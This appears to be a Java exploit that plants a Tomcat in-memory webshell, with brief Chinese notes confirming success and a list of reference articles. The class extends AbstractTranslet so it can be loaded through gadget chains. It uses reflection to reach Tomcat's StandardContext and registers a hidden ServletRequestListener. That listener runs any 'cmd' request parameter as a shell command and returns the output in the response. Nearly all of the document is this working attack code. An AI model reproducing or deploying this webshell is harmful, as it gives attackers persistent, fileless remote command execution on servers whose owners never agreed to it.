import java.lang.reflect.Field;
import java.util.Scanner;

public class tomcatRequestListenerExploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet implements ServletRequestListener{
    static {
        try {
            Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

            Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
            modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
            modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);

            WRAP_SAME_OBJECT_FIELD.setAccessible(true);
            lastServicedRequestField.setAccessible(true);
            lastServicedResponseField.setAccessible(true);

            ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
            ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
            boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);

            if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
                lastServicedRequestField.set(null, new ThreadLocal<>());
                lastServicedResponseField.set(null, new ThreadLocal<>());
                WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
            } else {
                ServletRequest requestFacade = lastServicedRequest.get();
                addRequestListener((HttpServletRequest) requestFacade);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        try {
            HttpServletRequest req = (HttpServletRequest) servletRequestEvent.getServletRequest();
            String cmd = req.getParameter("cmd");
            if (req.getParameter("cmd") != null) {
                Field requestF = req.getClass().getDeclaredField("request");
                requestF.setAccessible(true);
                Request request = (Request) requestF.get(req);


                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";

                request.getResponse().getWriter().write(output);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {

    }

    static void addRequestListener(HttpServletRequest req) {
        ServletContext servletContext = req.getServletContext();

        StandardContext o = null;

        try {

            // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
            while (o == null) {
                Field f = servletContext.getClass().getDeclaredField("context");
                f.setAccessible(true);
                Object object = f.get(servletContext);

                if (object instanceof ServletContext) {
                    servletContext = (ServletContext) object;
                } else if (object instanceof StandardContext) {
                    o = (StandardContext) object;
                }
            }

            // 添加监听器
            o.addApplicationEventListener(new tomcatRequestListenerExploit());

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

访问两次写入RequestListener

成功写入

参考文章

https://su18.org/post/memory-shell/
https://xz.aliyun.com/t/7388
https://www.cnblogs.com/nice0e3/p/14622879.html
https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652474966&idx=1&sn=1c75686865f7348a6b528b42789aeec8&scene=21
https://goodapple.top/archives/1359